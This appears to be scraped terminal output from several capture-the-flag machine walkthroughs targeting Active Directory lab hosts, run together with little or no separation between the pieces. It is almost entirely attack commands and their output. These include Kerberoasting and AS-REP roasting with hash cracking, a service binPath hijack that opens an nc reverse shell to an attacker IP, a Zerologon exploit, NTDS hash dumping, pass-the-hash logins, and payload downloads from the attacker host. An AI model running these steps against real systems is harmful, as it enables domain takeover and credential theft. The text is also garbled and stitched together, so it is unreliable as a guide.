$krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$2a6e1db70bc6b71b9dde07b99f410654$9c192702404f1ad82ae704a5cc8f6cb84ab26ab33e52864e7371fbad87df5b2f893a148f5f752784ec5e9f4a1f65479f357ec58103478ffebfec3b5801b54416f2c1f82ea7a7a83903717992feb83029c3b845d09db12ab3314d26953e819e78db0be5d32b02e3c1e3c4b290cd49f4cb74b0d843c55c6816d8f2c5c987047fd925178e89025601cdd958ed26d055403964842e297d2702734db02b9f23b127a22e56c5a4110cc9354f4f62931534820587d99243a6dca00fe7d209fb069f17b36b0743c7b6d2b4b8627dff9741d585967168d4a6fea18dbfcfa63160fabaa92317882f95adac2a5aae29b00527f7163e026d20287f0c772fea5f45527e3544cf1b4155510238ede88d8c40c73bfc80ed5cfd4efea78e77f0b539731ebb1165571e8b90d023f4784b744818cc9cd17ed3b91f67c1595f729b02eec154fef1b06ad4830b024892e8e1ff6601af120fbbf25ef7d444d3e99d625ecf8fcf7dd837bebc8f19a4eab05f2d63c628ce8361ded918ee7441d2a64c6d73ee71c576598c13bc04b6e98b84bb1340ac0ead118efcf3d1ece3789c297504a309c92247d0e021854c4d931caca5f87d6401cf8bdd17d9e6d4cba8270d2482636cd47cecf3f0b96c1807164ea04e7a09f44e7bfd4361ff0ae9ac23de5d51c5cbbecf51f17f3145eac49ddb20f0ab03f7697fe9298ed68a1110a90e8b49c528698e189742efc019a59c3f4cfb4edfc23307d14557b9bb3d8e5d12c4a5f4614ed1fefd90fb42217c0fa3031a317d0db5c96fed0e579a1b77d41a883e9f62dfe7d94d9a65c716c457712e2d86cdf242be44dd4ec530eebd5bd9ef61b31d1b39a8e6a8dc350533ffd782c9bd42b040b462fdb1a44454412bf6a6d4f709273b8cdebc827cdd2e9357fa834f58651320aeb836c2e66f383d6fe5b38eff2f625d604cd5cef2206f1e3a9f9e69a80a630bf4f9d9c16b1010488edb3d4af5667df8ea8b37f365294d655410366a47991dec36cc09058c321b99fbc8641b6c0df3d73e158cd9ed754a1cbd394587610f1643f3d06191911b21d3e446ce0b85c065f3848c61aa5f1b2a7dbc1d34a9079f3f9645ebffa9c2ead6e1f8fecfba87127f6ed9870d6c0ee34690dc589eeb153880ee92c5ef9841a0e17b0c87365f45d55d4e42c2c9aae388b52a353c8268b7bd769fc186d55e6dd835e8e0c750bc6eb24f67aba0c502d4f09f7ab793b328abd920862b9401255677bed9b92f097a40e8cbf67746e371d85858c2bcf49d426d344fd52341cf722bf426df7efdca897be63777960bacb12890979917e3a6d59bd7dace8255d551230af4db1f8faf45cd9815a39e0e0713d738fbee36b1cfd67e2f57d49f8d37418a494a❯ python3 /opt/targetedKerberoast/targetedKerberoast.py --dc-ip 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (jorden)
$krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$be06863d92e9721cc729f5e1eec12a2a$718d4eb0c3399da1f6cd0d3bee36bf1ec785617a598d1af2f7489db8ad0f92b36fb3e6dcf8e415d545062a304dbe127d7ad35e4647d57745093f0feeae5358914a33c3037a42edba8208cc411a9794d3fe0fb0f9c580e84184c6739dff9fbd2d66a4f89cd32a39a19c112fcb576bce48ac5ad0b7ae0ff0dbc9e8de85b1ca7423f82b78af866ccd9c71ceb05f8241121fd4ec9d9754d85ce8482b83676e8ba1d4c68783f174c5b12c89fa2dd72570107d2689304411ade47e1aa2ae120da74b7b718fd2547f960ce5c73c296f861b6c16483600bc9f109c8884b676e463a5ff354eec41d26ff87c88ff6d2dd4555e46c2aada265ceffd16f4ebe221ce999d9018bd6ea8125bd5f9c8e8e3cd10abf8c40c503d5e4bb18a430b140ad9dabc51131c45bfb105ea7d2f384b669fc7db91647b70f8929cb25c760313f1b6f836e28b40009b39337dcdf9fa4ca51a2cfffaa245b4024fd653141ad1e70d0753dd47b35002a55c5e124ffbe925d38a5aec3022892870f2e69773038c0009886e58cdebbda89030a2a8a8c0cbb97f8b16c2c0b341ff51eb90afb3303787ab942a14a5b24a17a2d9df4c2aa1358b70cf0958c3e8e88d1a9b5556d6751bb572bc91db79a3035e16d00ecd57f1eb7174cad879dea5a37e41e6842b8d2761ac0a00fe069436378c8d754b4c3614847e9660b62b302e2177410818115502d06312075a0e7af46f855cced6978e01d1df9a0c0ad4d9b4deb7c47bc9f19711f5edbe41b0df905d5d552351de2201ca0471266a64279970fdd7a1d600470a60f7b87e0393bf75fa773ff121a4cfacdb3f443659ca3c53da14a695179e7772382aa88e43ef86f3e462e2a37d39e22ea7589ac7e649e35b6113f656b6deb69b0ea5f42e55c88fea06716b37b1a089e6da8442983f0f8c1868a86455d766f17aa6c5ab965fc27a2058f70faaa0d24241e7cb594ccfdd33566b6a9b9595610b1f63968b2d2c27e0954d2bf009de3c438f6fbce841e5d4f3277c8e90554a76252951a489b9eacf3091c6da86873872c573fee255c8cc2ee0544afc2afc553c2c76531592c42935e4249dedb04409ef9594ecb723c8226cac72fa1eec0275c1b62d197bcc78dd3cc82a91664479e8724fb9308461e30a2a5e546b34d367fe52b3abc845ce23d36e419162e9c33e77ceb7fca0aa492f59c4204647b8d33080dc11b90b91b6169029808af527f6c6acb1ccc848e3771a0accbf4c7ba75381be92f112ec08e3758b0d205d2cae74e52eb1d0b78731a0713467cf01bc2adfc19623ac8389a8513965001cfc55b57d11091c90b5c835e7109883e68a83409e9e390924cf18defb21e13cd759ec92a858f926f42e713c52546b0c8c❯ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
...[snip]...
[-] User jorden doesn't have UF_DONT_REQUIRE_PREAUTH set
...[snip]...❯ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' add uac 'jorden' -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to jorden's userAccountControl
❯ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
...[snip]...
$krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d
...[snip]...❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
...[snip]...
$krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d:rainforest786
...[snip]...❯ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786'
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\jorden:rainforest786
❯ evil-winrm -i 10.10.10.179 -u 'jorden' -p 'rainforest786'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\jorden\Documents> services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe True aspnet_state
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys True MpKslDrv
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER True MSSQLSERVER
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe" True SQLBrowser
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER True SQLSERVERAGENT
"C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service True SQLTELEMETRY
"C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe" True SQLWriter
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
C:\Program Files\VMWare\VMWare Tools\vmtoolsd.exe True VMTools
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe" True WinDefend*Evil-WinRM* PS C:\Users\jorden\Documents> upload /usr/share/windows-binaries/nc.exe
Info: Uploading /usr/share/windows-binaries/nc.exe to C:\Users\jorden\Documents\nc.exe
Data: 79188 bytes of 79188 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe config VMTools binPath="C:\Users\jorden\Documents\nc.exe -e cmd 10.10.16.5 443"
[SC] ChangeServiceConfig SUCCESS❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe stop VMTools
SERVICE_NAME: VMTools
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start VMTools❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49948
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
b989bf465f20e0******************❯ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786' -d megacorp.local -M zerologon
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [+] megacorp.local\jorden:rainforest786
ZEROLOGON 10.10.10.179 445 MULTIMASTER VULNERABLE
ZEROLOGON 10.10.10.179 445 MULTIMASTER Next step: https://github.com/dirkjanm/CVE-2020-1472❯ git clone https://github.com/dirkjanm/CVE-2020-1472; cd CVE-2020-1472
Clonando en 'CVE-2020-1472'...
remote: Enumerating objects: 41, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 41 (delta 6), reused 4 (delta 4), pack-reused 29 (from 1)
Recibiendo objetos: 100% (41/41), 23.83 KiB | 903.00 KiB/s, listo.
Resolviendo deltas: 100% (14/14), listo.❯ python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179
Performing authentication attempts...
======================================================================
Target vulnerable, changing account password to empty string
Result: 0
Exploit complete!
❯ secretsdump.py -just-dc-ntlm -no-pass megacorp.local/'MULTIMASTER$'@10.10.10.179 -dc-ip 10.10.10.179
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:69cbf4a9b7415c9e1caf93d51d971be0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06e3ae564999dbad74e576cdf0f717d3:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MEGACORP.LOCAL\svc-nas:1103:aad3b435b51404eeaad3b435b51404ee:fe90dcf97ce6511a65151881708d6027:::
MEGACORP.LOCAL\tushikikatomo:1110:aad3b435b51404eeaad3b435b51404ee:1c9c8bfd28d000e8904f23c280b25d21:::
MEGACORP.LOCAL\andrew:1111:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
MEGACORP.LOCAL\lana:1112:aad3b435b51404eeaad3b435b51404ee:3c3c292710286a539bbec397d15b4680:::
MEGACORP.LOCAL\alice:1601:aad3b435b51404eeaad3b435b51404ee:19b44ab9ec562fe20b35ddb7c6fc0689:::
MEGACORP.LOCAL\dai:2101:aad3b435b51404eeaad3b435b51404ee:cb8a655c8bc531dd01a5359b40b20e7b:::
MEGACORP.LOCAL\svc-sql:2102:aad3b435b51404eeaad3b435b51404ee:3a36abdc15d86766d4cd243d8557e10d:::
MEGACORP.LOCAL\sbauer:3102:aad3b435b51404eeaad3b435b51404ee:050ba67142895b5844a24d5ce9644702:::
MEGACORP.LOCAL\okent:3103:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\ckane:3104:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\kpage:3105:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\james:3106:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\cyork:3107:aad3b435b51404eeaad3b435b51404ee:06327297532725a64e1edec0aad81cfe:::
MEGACORP.LOCAL\rmartin:3108:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\zac:3109:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\jorden:3110:aad3b435b51404eeaad3b435b51404ee:90960176fcbfe36b4a69fafb3cc0b716:::
MEGACORP.LOCAL\alyx:3111:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\ilee:3112:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\nbourne:3113:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\zpowers:3114:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\aldom:3115:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\jsmmons:3116:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MEGACORP.LOCAL\pmartin:3117:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
MULTIMASTER$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up... ❯ nxc smb 10.10.10.179 -u 'Administrator' -H '69cbf4a9b7415c9e1caf93d51d971be0'
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\Administrator:69cbf4a9b7415c9e1caf93d51d971be0 (Pwn3d!)
❯ wmiexec.py megacorp.local/Administrator@10.10.10.179 -hashes :69cbf4a9b7415c9e1caf93d51d971be0 -dc-ip 10.10.10.179
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
megacorp\administrator
nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.103 -oG allPortsnmap -sCV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49669,49673,49690,49691,49693,49696,49708,49724,49743 10.10.10.103 -A -oN targeted -oX targetedXMLxsltproc targetedXML > index.html
python3 -m http.server 80ldapsearch -x -H ldap://10.10.10.103 -s base | grep defaultNamingContext
nxc smb 10.10.10.103catnp /etc/hosts | grep sizzlewhatweb https://sizzle.htb.localgobuster dir -u https://sizzle.htb.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200ftp 10.10.10.103nxc smb 10.10.10.103 -u 'guest' -p ''
nxc smb 10.10.10.103 -u 'guest' -p '' --sharesnxc smb 10.10.10.103 -u 'guest' -p '' -M spider_plus
cat /tmp/nxc_hosted/nxc_spider_plus/10.10.10.103.json | jqmkdir /mnt/shares
mount -t cifs -o username=guest,password= '//10.10.10.103/Department Shares' /mnt/shares
cd /mnt/shares
ls -lfor dir in $(ls /mnt/shares); do for subdir in $(ls /mnt/shares/$dir); do smbcacls "//10.10.10.103/Department Shares" "$dir/$subdir" -N | grep -i everyone | grep -i full > /dev/null && echo "[*] Directorio $dir/$subdir: Permisos de escritura"; done; done[Shell]
Command=2
IconFile=\\10.10.16.5\smbFolder\test.ico
[Taskbar]
Command=ToggleDesktopsmbserver.py smbFolder $(pwd) -smb2support
smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'
cd Users/Public
put file.scf responder -I tun0 -v
smbclient "//10.10.10.103/Department Shares/" -U 'Guest%'
cd Users/Public
put file.scf hashcat -a 0 hashes /usr/share/wordlists/rockyou.txtnxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972'
nxc smb 10.10.10.103 -u 'amanda' -p 'Ashare1972' --sharesevil-winrm -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'gobuster dir -u http://sizzle.htb.local -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 200openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csrevil-winrm -S -c certnew.cer -k amanda.key -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'bloodhound-python -c All -ns 10.10.10.103 -u 'amanda' -p 'Ashare1972' -d htb.local --zipimpacket-GetUserSPNs -dc-ip 10.10.10.103 htb.local/amanda -debug 2>/dev/nullpython3 -m http.server 80
IWR -Uri http://10.10.16.5/Rubeus.exe -OutFile Rubeus.exeGet-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections./Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972# Desde el equipo atacante
python3 -m http.server 80
# Desde el equipo víctima
IWR -Uri http://10.10.16.5/chisel.exe -OutFile chisel.exe
# Desde el equipo atacante
./chisel server --reverse -p 1234
# Desde el equipo víctima
./chisel.exe client 10.10.16.5:1234 R:88:127.0.0.1:88 R:389:127.0.0.1:389impacket-GetUserSPNs -dc-ip 127.0.0.1 htb.local/amanda -request 2>/dev/nullhashcat -a 0 hash.txt /usr/share/wordlists/rockyou.txtnxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7'
nxc smb 10.10.10.103 -u 'mrlky' -p 'Football#7' --sharessecretsdump.py -just-dc-ntlm htb.local/mrlky@10.10.10.103nxc smb 10.10.10.103 -u 'Administrator' -H 'f6b7160bfc91823792e0ac3a162c9267'wmiexec.py htb.local/Administrator@10.10.10.103 -hashes :f6b7160bfc91823792e0ac3a162c9267❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.31 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 16:04 CET
Nmap scan report for 10.10.11.31
Host is up (0.055s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
15220/tcp open unknown
49666/tcp open unknown
49688/tcp open unknown
49690/tcp open unknown
49692/tcp open unknown
49723/tcp open unknown
49740/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 188.34 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.31
[*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49666,49688,49690,49692,49723,49740
[*] Ports copied to clipboard❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49666,49688,49690,49692,49723,49740 10.10.11.31 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 17:56 CET
Nmap scan report for dc01.infiltrator.htb (10.10.11.31)
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Infiltrator.htb
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-17 16:56:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-01-17T16:59:39+00:00; -9s from scanner time.
| rdp-ntlm-info:
| Target_Name: INFILTRATOR
| NetBIOS_Domain_Name: INFILTRATOR
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: infiltrator.htb
| DNS_Computer_Name: dc01.infiltrator.htb
| DNS_Tree_Name: infiltrator.htb
| Product_Version: 10.0.17763
|_ System_Time: 2025-01-17T16:58:59+00:00
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Not valid before: 2025-01-16T14:59:08
|_Not valid after: 2025-07-18T14:59:08
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
15220/tcp open unknown
49666/tcp open msrpc Microsoft Windows RPC
49688/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49723/tcp open msrpc Microsoft Windows RPC
49740/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-01-17T16:59:02
|_ start_date: N/A
|_clock-skew: mean: -8s, deviation: 0s, median: -9s
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 85.41 ms 10.10.16.1
2 85.45 ms dc01.infiltrator.htb (10.10.11.31)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.88 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.11.31
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
❯ ldapsearch -x -H ldap://10.10.11.31 -s base | grep defaultNamingContext
defaultNamingContext: DC=infiltrator,DC=htb❯ cat /etc/hosts | grep 10.10.11.31
10.10.11.31 dc01.infiltrator.htb infiltrator.htb❯ sudo ntpdate -s 10.10.11.31
❯ cat /etc/resolv.con| grep 10.10.11.31
nameserver 10.10.11.31
❯ sudo systemctl restart NetworkManager❯ wget https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
--2025-01-17 18:42:27-- https://gist.githubusercontent.com/superkojiman/11076951/raw/74f3de7740acb197ecfa8340d07d3926a95e5d46/namemash.py
Resolviendo gist.githubusercontent.com (gist.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ...
Conectando con gist.githubusercontent.com (gist.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2086 (2,0K) [text/plain]
Grabando a: «namemash.py»
namemash.py 100%[===================================================================================================================================>] 2,04K --.-KB/s en 0s
2025-01-17 18:42:28 (34,3 MB/s) - «namemash.py» guardado [2086/2086]
❯ cat employees.txt
david anderson
olivia martinez
kevin turner
amanda walker
marcus harris
lauren clark
ethan rodriguez
❯ chmod +x namemash.py
❯ ./namemash.py employees.txt > possible_users.txt❯ kerbrute userenum --dc 10.10.11.31 -d infiltrator.htb possible_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 01/17/25 - Ronnie Flathers @ropnop
2025/01/17 18:44:37 > Using KDC(s):
2025/01/17 18:44:37 > 10.10.11.31:88
2025/01/17 18:44:37 > [+] VALID USERNAME: d.anderson@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: o.martinez@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: k.turner@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: a.walker@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: m.harris@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: e.rodriguez@infiltrator.htb
2025/01/17 18:47:44 > [+] VALID USERNAME: l.clark@infiltrator.htb
2025/01/17 18:44:37 > Done! Tested 78 usernames (7 valid) in 0.872 seconds❯ cat users.txt
2025/01/17 18:44:37 > [+] VALID USERNAME: d.anderson@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: o.martinez@infiltrator.htb
2025/01/17 18:44:37 > [+] VALID USERNAME: k.turner@infiltrator.htb
